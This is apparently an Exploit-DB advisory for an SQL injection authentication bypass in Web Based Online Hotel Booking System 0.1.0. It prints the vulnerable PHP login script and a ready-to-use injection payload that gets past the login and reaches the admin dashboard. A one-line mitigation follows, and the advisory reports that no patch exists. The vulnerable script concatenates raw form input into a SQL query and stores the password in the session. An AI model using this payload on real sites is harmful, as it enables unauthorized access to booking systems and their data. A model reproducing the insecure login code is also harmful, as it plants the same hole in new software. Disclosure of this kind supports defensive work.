Web Based Online Hotel Booking System 0.1.0 - Authentication Bypass

vendor:

Web-based-hotel-booking-system

by:

KeopssGroup0day,Inc

8.8

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: Web-based-hotel-booking-system

Affected Version From: 0.1.0

Affected Version To: 0.1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:mrzulkarnine:web-based-hotel-booking-system:0.1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux

2020

Web Based Online Hotel Booking System 0.1.0 – Authentication Bypass

An authentication bypass vulnerability exists in Web Based Online Hotel Booking System 0.1.0. An attacker can exploit this vulnerability by sending a specially crafted payload to the loginauth.php page. The payload consists of a username and password of '1' or 1 = 1 LIMIT 1#. This will bypass the authentication and allow the attacker to access the dashboard.php page.

Mitigation:

Ensure that authentication is properly implemented and that all user input is properly sanitized and validated.

Source

Exploit-DB raw data:

# Exploit Title: Web Based Online Hotel Booking System 0.1.0 - Authentication Bypass
# Date: 2020-07-03
# Exploit Author: KeopssGroup0day,Inc
# Vendor Homepage: https://github.com/mrzulkarnine/Web-based-hotel-booking-system
# Software Link: https://github.com/mrzulkarnine/Web-based-hotel-
booking-system
# Version: 0.1.0
# Tested on: Kali Linux

Source code(localhost/admin/loginauth.php):
                   <?php
                        session_start();

                         $_SESSION['username'] = $_POST['username'];
                         $_SESSION['password'] =  $_POST['password'];

                         include './auth.php';
                         $re = mysql_query("select * from user where
username = '".$_SESSION['username']."'  AND password =
'".$_SESSION['password']."' " );
echo mysql_error();
                        if(mysql_num_rows($re) > 0)
                          {
                            header('Refresh: 0;url=dashboard.php');
                           }
                       else
                          {

                             session_destroy();
                             header("location: index.htm");
                           }
                           ?>

Payload:
       Username: 1' or 1 = 1 LIMIT 1#
       Password: 1' or 1 = 1 LIMIT 1#